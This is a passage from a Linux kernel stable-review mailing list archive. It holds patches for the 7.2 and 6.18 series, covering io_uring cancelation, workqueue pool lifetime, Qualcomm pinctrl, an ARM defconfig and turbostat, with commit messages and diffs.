- /* read completions before cancelations */
- inflight = tctx_inflight(tctx, false);
- if (!inflight)
- break;
-
- if (!sqd) {
- xa_for_each(&tctx->xa, index, node) {
- /* sqpoll task will cancel all its requests */
- if (node->ctx->sq_data)
- continue;
- loop |= io_uring_try_cancel_requests(node->ctx,
- current->io_uring,
- cancel_all,
- false);
- }
- } else {
- list_for_each_entry(ctx, &sqd->ctx_list, sqd_list)
- loop |= io_uring_try_cancel_requests(ctx,
- current->io_uring,
- cancel_all,
- true);
- }
-
- if (loop) {
- cond_resched();
- continue;
- }
-
- prepare_to_wait(&tctx->wait, &wait, TASK_INTERRUPTIBLE);
- io_run_task_work();
- io_uring_drop_tctx_refs(current);
- xa_for_each(&tctx->xa, index, node) {
- if (io_local_work_pending(node->ctx)) {
- WARN_ON_ONCE(node->ctx->submitter_task &&
- node->ctx->submitter_task != current);
- goto end_wait;
- }
- }
- /*
- * If we've seen completions, retry without waiting. This
- * avoids a race where a completion comes in before we did
- * prepare_to_wait().
- */
- if (inflight == tctx_inflight(tctx, !cancel_all))
- schedule();
-end_wait:
- finish_wait(&tctx->wait, &wait);
- } while (1);
-
- io_uring_clean_tctx(tctx);
- if (cancel_all) {
- /*
- * We shouldn't run task_works after cancel, so just leave
- * ->in_cancel set for normal exit.
- */
- atomic_dec(&tctx->in_cancel);
- /* for exec all current's requests should be gone, kill tctx */
- __io_uring_free(current);
- }
-}
-
static struct io_uring_reg_wait *io_get_ext_arg_reg(struct io_ring_ctx *ctx,
const struct io_uring_getevents_arg __user *uarg)
{
--- a/io_uring/io_uring.h
+++ b/io_uring/io_uring.h
@@ -95,6 +95,11 @@ enum {
IOU_REQUEUE = -3072,
};
+struct io_defer_entry {
+ struct list_head list;
+ struct io_kiocb *req;
+};
+
struct io_wait_queue {
struct wait_queue_entry wq;
struct io_ring_ctx *ctx;
@@ -145,6 +150,7 @@ unsigned long rings_size(unsigned int fl
int io_uring_fill_params(unsigned entries, struct io_uring_params *p);
bool io_cqe_cache_refill(struct io_ring_ctx *ctx, bool overflow, bool cqe32);
int io_run_task_work_sig(struct io_ring_ctx *ctx);
+int io_run_local_work(struct io_ring_ctx *ctx, int min_events, int max_events);
void io_req_defer_failed(struct io_kiocb *req, s32 res);
bool io_post_aux_cqe(struct io_ring_ctx *ctx, u64 user_data, s32 res, u32 cflags);
void io_add_aux_cqe(struct io_ring_ctx *ctx, u64 user_data, s32 res, u32 cflags);
@@ -152,6 +158,7 @@ bool io_req_post_cqe(struct io_kiocb *re
bool io_req_post_cqe32(struct io_kiocb *req, struct io_uring_cqe src_cqe[2]);
void __io_commit_cqring_flush(struct io_ring_ctx *ctx);
+unsigned io_linked_nr(struct io_kiocb *req);
void io_req_track_inflight(struct io_kiocb *req);
struct file *io_file_get_normal(struct io_kiocb *req, int fd);
struct file *io_file_get_fixed(struct io_kiocb *req, int fd,
@@ -166,7 +173,7 @@ void io_req_task_submit(struct io_tw_req
struct llist_node *io_handle_tw_list(struct llist_node *node, unsigned int *count, unsigned int max_entries);
struct llist_node *tctx_task_work_run(struct io_uring_task *tctx, unsigned int max_entries, unsigned int *count);
void tctx_task_work(struct callback_head *cb);
-__cold void io_uring_cancel_generic(bool cancel_all, struct io_sq_data *sqd);
+__cold void io_uring_drop_tctx_refs(struct task_struct *task);
int io_ring_add_registered_file(struct io_uring_task *tctx, struct file *file,
int start, int end);
@@ -175,6 +182,7 @@ void io_req_queue_iowq(struct io_kiocb *
int io_poll_issue(struct io_kiocb *req, io_tw_token_t tw);
int io_submit_sqes(struct io_ring_ctx *ctx, unsigned int nr);
int io_do_iopoll(struct io_ring_ctx *ctx, bool force_nonspin);
+__cold void io_iopoll_try_reap_events(struct io_ring_ctx *ctx);
void __io_submit_flush_completions(struct io_ring_ctx *ctx);
struct io_wq_work *io_wq_free_work(struct io_wq_work *work);
--- a/io_uring/sqpoll.c
+++ b/io_uring/sqpoll.c
@@ -19,6 +19,7 @@
#include "io_uring.h"
#include "tctx.h"
#include "napi.h"
+#include "cancel.h"
#include "sqpoll.h"
#define IORING_SQPOLL_CAP_ENTRIES_VALUE 8
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 014/242] ARM: configs: sama5: enable current Microchip KSZ DSA symbols
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (12 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 013/242] pinctrl: qcom: qcs8300: " Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 015/242] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
` (227 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pengpeng Hou, Claudiu Beznea,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <pengpeng@iscas.ac.cn>
[ Upstream commit afb1ecfeda3fc31d6300a176f4854cc62e289bf3 ]
The Microchip KSZ DSA family now uses NET_DSA_MICROCHIP_KSZ_COMMON
for the common provider and NET_DSA_MICROCHIP_KSZ_SPI for SPI-attached
switches.
sama5_defconfig still enables the removed KSZ9477-specific symbols even
though SAMA5 device trees contain KSZ SPI switch consumers. Replace the
stale entries with the current provider symbols.
Assisted-by: Codex:gpt-5
Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Fixes: 07bca160469b ("net: dsa: microchip: common menuconfig for ksz series switch")
Fixes: 4658f2fe8fbc ("net: dsa: microchip: common ksz_spi_probe for ksz switches")
Reviewed-by: Claudiu Beznea <claudiu.beznea@tuxon.dev>
Link: https://lore.kernel.org/r/20260814075310.11613-1-pengpeng@iscas.ac.cn
Signed-off-by: Claudiu Beznea <claudiu.beznea@tuxon.dev>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/arm/configs/sama5_defconfig | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/arch/arm/configs/sama5_defconfig b/arch/arm/configs/sama5_defconfig
index bd7f0b5f7d660..46e7f554faa18 100644
--- a/arch/arm/configs/sama5_defconfig
+++ b/arch/arm/configs/sama5_defconfig
@@ -70,8 +70,8 @@ CONFIG_BLK_DEV_SD=y
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_SCSI_LOWLEVEL is not set
CONFIG_NETDEVICES=y
-CONFIG_NET_DSA_MICROCHIP_KSZ9477=m
-CONFIG_NET_DSA_MICROCHIP_KSZ9477_SPI=m
+CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON=m
+CONFIG_NET_DSA_MICROCHIP_KSZ_SPI=m
# CONFIG_NET_VENDOR_BROADCOM is not set
CONFIG_MACB=y
# CONFIG_NET_VENDOR_CIRRUS is not set
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 180/193] io_uring/cancel: dont spin on local work the task cant run
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (178 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 179/193] io_uring/cancel: move cancelation code from io_uring.c to cancel.c Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 181/193] workqueue: release pwq pools by pool type Greg Kroah-Hartman
` (23 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, AutonomousCodeSecurity,
Cen Zhang (Microsoft Security FORGE Labs), Jens Axboe,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Cen Zhang (Microsoft Security FORGE Labs)" <cenzhang@linux.microsoft.com>
[ Upstream commit fddcf4c5321b3ea5f72166c3fd36a9d1c34f80c7 ]
io_uring_cancel_generic() refuses to sleep while any ring on the exiting
task's tctx has local work pending. It assumes the task is that ring's
submitter and that the next io_uring_try_cancel_requests() pass will run
the work. This does not hold for a ring that was still
IORING_SETUP_R_DISABLED when the task got its tctx node from
io_uring_create() or io_ringfd_register(). The submitter is set later by
IORING_REGISTER_ENABLE_RINGS, possibly from another task, and only the
submitter may run local work on an IORING_SETUP_DEFER_TASKRUN ring. To
the exiting task the work stays pending forever, the loop never reaches
schedule(), and the task trips the WARN_ON_ONCE() once and then spins in
do_exit().
An unprivileged user can set this up at will by creating a disabled
ring, having a child enable it and stop, posting to the ring with
IORING_OP_MSG_RING and exiting with a request in flight that only the
child can complete. The exiting thread burns a CPU until the child runs
or dies, and with panic_on_warn set the WARN panics the kernel.
Fix by skipping the sleep only when io_allowed_defer_tw_run() allows the
task to run the work. This is reasonable since work it cannot run cannot
complete any of its requests either, so nothing is lost by sleeping.
Drop the WARN_ON_ONCE() since handing a disabled ring to another thread
is a supported scenario, not a bug state.
Fixes: 360cd42c4e95 ("io_uring: optimise io_req_local_work_add")
Reported-by: AutonomousCodeSecurity@microsoft.com
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
Link: https://patch.msgid.link/20261008191602.45101-1-cenzhang@linux.microsoft.com
Signed-off-by: Jens Axboe <axboe@kernel.dk>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
io_uring/cancel.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
--- a/io_uring/cancel.c
+++ b/io_uring/cancel.c
@@ -625,12 +625,11 @@ __cold void io_uring_cancel_generic(bool
prepare_to_wait(&tctx->wait, &wait, TASK_INTERRUPTIBLE);
io_run_task_work();
io_uring_drop_tctx_refs(current);
+ /* only skip the sleep for local work this task may run */
xa_for_each(&tctx->xa, index, node) {
- if (io_local_work_pending(node->ctx)) {
- WARN_ON_ONCE(node->ctx->submitter_task &&
- node->ctx->submitter_task != current);
+ if (io_local_work_pending(node->ctx) &&
+ io_allowed_defer_tw_run(node->ctx))
goto end_wait;
- }
}
/*
* If we've seen completions, retry without waiting. This
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 015/242] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (13 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 014/242] ARM: configs: sama5: enable current Microchip KSZ DSA symbols Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 016/242] pinctrl: qcom: spmi-gpio: make direction changes exclusive Greg Kroah-Hartman
` (226 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Gilberto Conde, Konrad Dybcio,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gilberto Conde <gilbertorconde@gmail.com>
[ Upstream commit c6c159fcdb4e9a678eda0831f971e4a3a488ec47 ]
GPIO13 supports the PWM3 function at mux select value 4, but the
pingroup table leaves that slot empty and gpio13 is not listed in
pwm3_groups. Selecting pwm3 on gpio13 is therefore rejected by the
pinmux core:
ipq5018-tlmm: invalid group "gpio13" for function "pwm3"
The GL.iNet GL-X2000 drives its fan from PWM3 on this pin, and the
vendor firmware muxes it with select value 4:
gpio13 : out low func4 8mA no pull
Add pwm3 to the fourth function slot of gpio13 and list gpio13 in
pwm3_groups. With this the pin muxes as expected:
pin 13 (GPIO_13): device 1941010.pwm function pwm3 group gpio13
Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
Signed-off-by: Gilberto Conde <gilbertorconde@gmail.com>
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Link: https://patch.msgid.link/20260921093419.2870168-1-gilbertorconde@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/pinctrl/qcom/pinctrl-ipq5018.c b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
index 03cfba9534f84..84392fe258c9f 100644
--- a/drivers/pinctrl/qcom/pinctrl-ipq5018.c
+++ b/drivers/pinctrl/qcom/pinctrl-ipq5018.c
@@ -563,7 +563,7 @@ static const char * const qdss_cti_trig_out_b1_groups[] = {
};
static const char * const pwm3_groups[] = {
- "gpio45",
+ "gpio45", "gpio13",
};
static const char * const qdss_cti_trig_in_b1_groups[] = {
@@ -689,7 +689,7 @@ static const struct msm_pingroup ipq5018_groups[] = {
PINGROUP(10, blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),
PINGROUP(11, blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _),
PINGROUP(12, blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _),
- PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, _, qdss_tracedata_a, _, _, _, _),
+ PINGROUP(13, blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),
PINGROUP(14, pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _),
PINGROUP(15, _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _),
PINGROUP(16, pcie0_wake, _, _, cri_trng, qdss_tracedata_a, _, _, _, _),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 181/193] workqueue: release pwq pools by pool type
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (179 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 180/193] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 182/193] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
` (22 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Breno Leitao, Tejun Heo, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Breno Leitao <leitao@debian.org>
[ Upstream commit 3180ee71b676845603274c66f6bb5528939cf470 ]
Add is_percpu_pool() and test the pool directly for per cpu. Convert the
other open-coded pool->cpu checks -- in put_unbound_pool(),
pool_allowed_cpus() and the workqueue watchdog -- to the same helper.
No functional change.
Signed-off-by: Breno Leitao <leitao@debian.org>
Signed-off-by: Tejun Heo <tj@kernel.org>
Use a single-evaluation macro for the pool predicate. Keep the existing
watchdog timestamp and reporting behavior, converting only its pool-type
test; the newer stall-duration accounting is absent.
Stable-dep-of: cf9c8aaea0d4 ("workqueue: Fix unbound pool lifetime for pending pwqs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -1562,6 +1562,9 @@ work_func_t wq_worker_last_func(struct t
return worker->last_func;
}
+/* True if @pool is a static per-cpu pool rather than an unbound one. */
+#define is_percpu_pool(pool) ((pool)->cpu >= 0)
+
/**
* wq_node_nr_active - Determine wq_node_nr_active to use
* @wq: workqueue of interest
@@ -2689,7 +2692,7 @@ static struct worker *alloc_worker(int n
static cpumask_t *pool_allowed_cpus(struct worker_pool *pool)
{
- if (pool->cpu < 0 && pool->attrs->affn_strict)
+ if (!is_percpu_pool(pool) && pool->attrs->affn_strict)
return pool->attrs->__pod_cpumask;
else
return pool->attrs->cpumask;
@@ -5030,7 +5033,7 @@ static void put_unbound_pool(struct work
return;
/* sanity checks */
- if (WARN_ON(!(pool->cpu < 0)) ||
+ if (WARN_ON(is_percpu_pool(pool)) ||
WARN_ON(!list_empty(&pool->worklist)))
return;
@@ -5182,7 +5185,7 @@ static void pwq_release_workfn(struct kt
mutex_unlock(&wq->mutex);
}
- if (wq->flags & WQ_UNBOUND) {
+ if (!is_percpu_pool(pool)) {
mutex_lock(&wq_pool_mutex);
put_unbound_pool(pool);
mutex_unlock(&wq_pool_mutex);
@@ -7720,7 +7723,7 @@ static void wq_watchdog_timer_fn(struct
/* did we stall? */
if (time_after(now, ts + thresh)) {
lockup_detected = true;
- if (pool->cpu >= 0 && !(pool->flags & POOL_BH)) {
+ if (is_percpu_pool(pool) && !(pool->flags & POOL_BH)) {
pool->cpu_stall = true;
cpu_pool_stall = true;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 016/242] pinctrl: qcom: spmi-gpio: make direction changes exclusive
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (14 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 015/242] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 017/242] tools/power turbostat: Warn, but dont Err on out-dated perf systems Greg Kroah-Hartman
` (225 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Linus Walleij, Shawn Guo,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Shawn Guo <shengchao.guo@oss.qualcomm.com>
[ Upstream commit 19fc4240358be2a25ce8e0a49a2819588ed61c5d ]
Neither direction callback clears the opposite buffer: .direction_output()
only packs PIN_CONFIG_LEVEL and .direction_input() only packs
PIN_CONFIG_INPUT_ENABLE. As pmic_gpio_populate() seeds input_enabled and
output_enabled from MODE_CTL, a pad left in DIGITAL_INPUT[_OUTPUT] by the
bootloader ends up in DIGITAL_INPUT_OUTPUT whichever direction is
requested. That leaves an input still driving the line, and makes
pmic_gpio_get_direction() report an output as an input, which breaks
consumers that read the direction back:
reg-fixed-voltage regulator-wcn-core-vm-1p35: setup of GPIO (default) failed: -1
reg-fixed-voltage regulator-wcn-core-vm-1p35: error -EPERM: can't get GPIO
Pack the opposite buffer's PIN_CONFIG_*_ENABLE along with the requested
direction, so MODE_CTL becomes DIGITAL_INPUT or DIGITAL_OUTPUT, never
both. pmic_gpio_config_set() writes the registers once after walking all
configs, so this stays a single write.
An open-drain or open-source output is the exception: it only drives one
rail, so pmic_gpio_get() needs the input buffer to sample the line rather
than return the value last written. Program the input buffer from
pad->buffer_type, which gpiolib has already updated via
PIN_CONFIG_DRIVE_OPEN_DRAIN, and key pmic_gpio_get_direction() off
output_enabled so such pads still read back as outputs.
Genuinely bidirectional pads can still be described that way through
pinconf; the gpiolib callbacks now mean what gpiolib says they mean.
Fixes: 263447532463 ("pinctrl: qcom: spmi-gpio: implement .get_direction()")
Assisted-by: LLM
Reviewed-by: Linus Walleij <linusw@kernel.org>
Signed-off-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Link: https://patch.msgid.link/20260927010913.1212600-1-shengchao.guo@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 37 +++++++++++++++++++-----
1 file changed, 29 insertions(+), 8 deletions(-)
diff --git a/drivers/pinctrl/qcom/pinctrl-spmi-gpio.c b/drivers/pinctrl/qcom/pinctrl-spmi-gpio.c
index cdd61dae74cf9..9fc6230ffc36c 100644
--- a/drivers/pinctrl/qcom/pinctrl-spmi-gpio.c
+++ b/drivers/pinctrl/qcom/pinctrl-spmi-gpio.c
@@ -734,29 +734,50 @@ static int pmic_gpio_get_direction(struct gpio_chip *chip, unsigned pin)
(!pad->input_enabled && !pad->output_enabled))
return -EINVAL;
- /* Make sure the state is aligned on what pmic_gpio_get() returns */
- return pad->input_enabled ? GPIO_LINE_DIRECTION_IN : GPIO_LINE_DIRECTION_OUT;
+ /*
+ * An open-drain or open-source pad keeps its input buffer enabled while
+ * driving, so the output buffer is what tells the direction.
+ */
+ return pad->output_enabled ? GPIO_LINE_DIRECTION_OUT : GPIO_LINE_DIRECTION_IN;
}
static int pmic_gpio_direction_input(struct gpio_chip *chip, unsigned pin)
{
struct pmic_gpio_state *state = gpiochip_get_data(chip);
- unsigned long config;
+ unsigned long configs[2];
- config = pinconf_to_config_packed(PIN_CONFIG_INPUT_ENABLE, 1);
+ configs[0] = pinconf_to_config_packed(PIN_CONFIG_OUTPUT_ENABLE, 0);
+ configs[1] = pinconf_to_config_packed(PIN_CONFIG_INPUT_ENABLE, 1);
- return pmic_gpio_config_set(state->ctrl, pin, &config, 1);
+ return pmic_gpio_config_set(state->ctrl, pin, configs,
+ ARRAY_SIZE(configs));
}
static int pmic_gpio_direction_output(struct gpio_chip *chip,
unsigned pin, int val)
{
struct pmic_gpio_state *state = gpiochip_get_data(chip);
- unsigned long config;
+ struct pmic_gpio_pad *pad = state->ctrl->desc->pins[pin].drv_data;
+ unsigned long configs[2];
- config = pinconf_to_config_packed(PIN_CONFIG_LEVEL, val);
+ /*
+ * An open-drain or open-source pad only ever drives one rail, so the
+ * line can still be sampled while the pad is an output. Keep the input
+ * buffer enabled for those, so that pmic_gpio_get() reports what is on
+ * the wire rather than the value last written, and disable it for a
+ * CMOS pad, so that the pad ends up in DIGITAL_OUTPUT rather than
+ * DIGITAL_INPUT_OUTPUT. Program it either way, as the buffer may have
+ * been left in the opposite state by the bootloader or by an earlier
+ * direction change with a different buffer type. gpiolib applies
+ * PIN_CONFIG_DRIVE_OPEN_DRAIN before calling this, so buffer_type is
+ * already up to date here.
+ */
+ configs[0] = pinconf_to_config_packed(PIN_CONFIG_INPUT_ENABLE,
+ pad->buffer_type != PMIC_GPIO_OUT_BUF_CMOS);
+ configs[1] = pinconf_to_config_packed(PIN_CONFIG_LEVEL, val);
- return pmic_gpio_config_set(state->ctrl, pin, &config, 1);
+ return pmic_gpio_config_set(state->ctrl, pin, configs,
+ ARRAY_SIZE(configs));
}
static int pmic_gpio_get(struct gpio_chip *chip, unsigned pin)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 182/193] workqueue: Fix unbound pool lifetime for pending pwqs
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (180 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 181/193] workqueue: release pwq pools by pool type Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 183/193] virtio: set skb owner of virtio_transport_reset_no_sock() reply Greg Kroah-Hartman
` (21 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Yao Kai, Tejun Heo, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yao Kai <yaokai34@huawei.com>
[ Upstream commit cf9c8aaea0d47410df8708bec195889f3a85cd3c ]
KASAN reports a use-after-free of an unbound worker_pool in
node_activate_pending_pwq():
BUG: KASAN: slab-use-after-free in _raw_spin_trylock+0x6d/0x120
Read of size 4 at addr ffff8880089ce000 by task kworker/u22:0/318
CPU: 1 UID: 0 PID: 318 Comm: kworker/u22:0 Not tainted 7.2.0 #1 PREEMPT(lazy)
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Workqueue: 0x0 (flush-8:0)
Call Trace:
<TASK>
dump_stack_lvl+0x53/0x70
print_report+0xce/0x610
kasan_report+0xce/0x100
_raw_spin_trylock+0x6d/0x120
pwq_dec_nr_in_flight+0x4b4/0xcb0
process_one_work+0x921/0x11a0
worker_thread+0x4d0/0xd20
kthread+0x2de/0x3c0
ret_from_fork+0x3aa/0x620
ret_from_fork_asm+0x1a/0x30
</TASK>
Allocated by task 311:
alloc_pwq+0x439/0xca0
apply_wqattrs_prepare+0x75e/0xd10
apply_workqueue_attrs_locked+0x44/0xa0
wq_nice_store+0x350/0x450
Freed by task 0:
kfree+0x127/0x3b0
rcu_core+0x523/0x1780
handle_softirqs+0x1b3/0x610
Last potentially related work creation:
put_unbound_pool+0x3f3/0x7d0
pwq_release_workfn+0x494/0x8e0
kthread_worker_fn+0x1ff/0x790
Canceling the last inactive work skips pwq_dec_nr_active(), so an empty
pwq can remain on pending_pwqs when its refcnt reaches zero.
pwq_release_workfn() currently puts the pool before removing that pwq.
If this drops the last pool reference, the pool can be RCU-freed while
the pwq remains reachable, and node_activate_pending_pwq() may trylock
the freed pool->lock.
Remove the pwq from pending_pwqs before putting the pool.
Fixes: 5797b1c18919 ("workqueue: Implement system-wide nr_active enforcement for unbound workqueues")
Cc: stable@vger.kernel.org
Signed-off-by: Yao Kai <yaokai34@huawei.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -5185,12 +5185,6 @@ static void pwq_release_workfn(struct kt
mutex_unlock(&wq->mutex);
}
- if (!is_percpu_pool(pool)) {
- mutex_lock(&wq_pool_mutex);
- put_unbound_pool(pool);
- mutex_unlock(&wq_pool_mutex);
- }
-
if (!list_empty(&pwq->pending_node)) {
struct wq_node_nr_active *nna =
wq_node_nr_active(pwq->wq, pwq->pool->node);
@@ -5200,6 +5194,12 @@ static void pwq_release_workfn(struct kt
raw_spin_unlock_irq(&nna->lock);
}
+ if (!is_percpu_pool(pool)) {
+ mutex_lock(&wq_pool_mutex);
+ put_unbound_pool(pool);
+ mutex_unlock(&wq_pool_mutex);
+ }
+
kfree_rcu(pwq, rcu);
/*
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 017/242] tools/power turbostat: Warn, but dont Err on out-dated perf systems
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (15 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 016/242] pinctrl: qcom: spmi-gpio: make direction changes exclusive Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 018/242] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
` (224 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, David Arcari, Len Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 1de8307e861759386057f8683bdf0594b2c803f0 ]
Some systems in the field have perf enabled,
but their kernel perf support lacks the latest L2 stats.
Warn, but don't Err on those systems, and suggest how to avoid the Warn.
Fixes: dd23bfe4c317 ("tools/power turbostat: Add L2 cache statistics")
Reported-by: David Arcari <darcari@redhat.com>
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 920694c3c1ec9..6d3a58df678dc 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -9471,8 +9471,10 @@ void perf_l2_init(void)
free_fd_l2_percpu();
return;
}
- } else
- err(-1, "%s: cpu%d: type %d", __func__, cpu, cpus[cpu].type);
+ } else {
+ warn("%s: cpu%d: type %d: Update kernel perf support or use \"--hide L2MRPS,L2%%hit\" or \"--hide cache\" or \"--no-perf\"", __func__, cpu, cpus[cpu].type);
+ return;
+ }
}
BIC_PRESENT(BIC_L2_MRPS);
BIC_PRESENT(BIC_L2_HIT);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 183/193] virtio: set skb owner of virtio_transport_reset_no_sock() reply
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (181 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 182/193] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 184/193] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
` (20 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Stefano Garzarella, Bobby Eshleman,
Michael S. Tsirkin, Paolo Abeni, Sasha Levin
